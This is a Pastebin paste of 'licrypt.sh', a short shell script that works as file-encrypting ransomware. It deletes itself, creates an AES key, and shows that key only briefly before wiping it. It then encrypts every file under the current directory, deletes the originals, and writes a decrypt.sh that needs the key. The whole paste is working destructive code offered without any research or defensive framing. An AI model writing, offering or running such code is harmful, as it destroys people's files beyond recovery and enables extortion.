Advertisement
achon666

licrypt.sh

Jul 11th, 2017
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. #!/bin/sh
  2. rm -f $0
  3. if [ ! -d /tmp/689 ]; then
  4. mkdir /tmp/689
  5. fi
  6. openssl genpkey -out /tmp/689/m2.p -algorithm rsa -pkeyopt rsa_keygen_bits:4096
  7. openssl pkey -in /tmp/689/m2.p -out /tmp/689/m5.p -pubout
  8. dk=$(openssl rand -hex 16)
  9. echo $dk | openssl pkeyutl -encrypt -pubin -inkey /tmp/689/m5.p -out /tmp/689/dke.d
  10. openssl pkeyutl -decrypt -inkey /tmp/689/m2.p -in /tmp/689/dke.d -out /tmp/689/dk.dat
  11. echo "[+] Your key is = $(cat /tmp/689/dk.dat)"
  12. echo "[+] Your key is = $(cat /tmp/689/dk.dat)" > /tmp/689/key.txt
  13. sleep 1m
  14. rm -rf /tmp/689
  15. for fn in `find * -type f`; do
  16. if [ ! -f $fn ]; then
  17. continue
  18. fi
  19. openssl sha256 -r $fn > $fn.6
  20. iv=$(openssl rand -hex 16)
  21. echo $iv > $fn.9
  22. openssl enc -aes-256-cbc -K $dk -iv $iv -in $fn -out $fn.8
  23. rm $fn
  24. echo "[+] $fn Success"
  25. echo "[+] $fn Success" >> log.txt
  26. done
  27. cat <<'EOF' > decrypt.sh
  28. #!/bin/sh
  29. if [ ! $1 ];then
  30. echo "Usage : bash $0 key"
  31. echo "Example : bash $0 29c9705b208c22f87114c1ad47f764fa"
  32. exit
  33. fi
  34. for fe in `find * -type f -iregex '.+\.8'`; do
  35. fn=$(echo $fe | sed -e 's/\.8$//')
  36. iv=$(cat $fn.9)
  37. openssl enc -aes-256-cbc -d -K $1 -iv $iv -in $fn.8 -out $fn
  38. if openssl sha256 -r $fn | diff -q - $fn.6; then
  39. rm $fn.6 $fn.9 $fn.8
  40. else
  41. echo "$fn: digest mismatch" >&2
  42. fi
  43. done
  44. EOF
  45. echo "[+] decrypt.sh created...."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement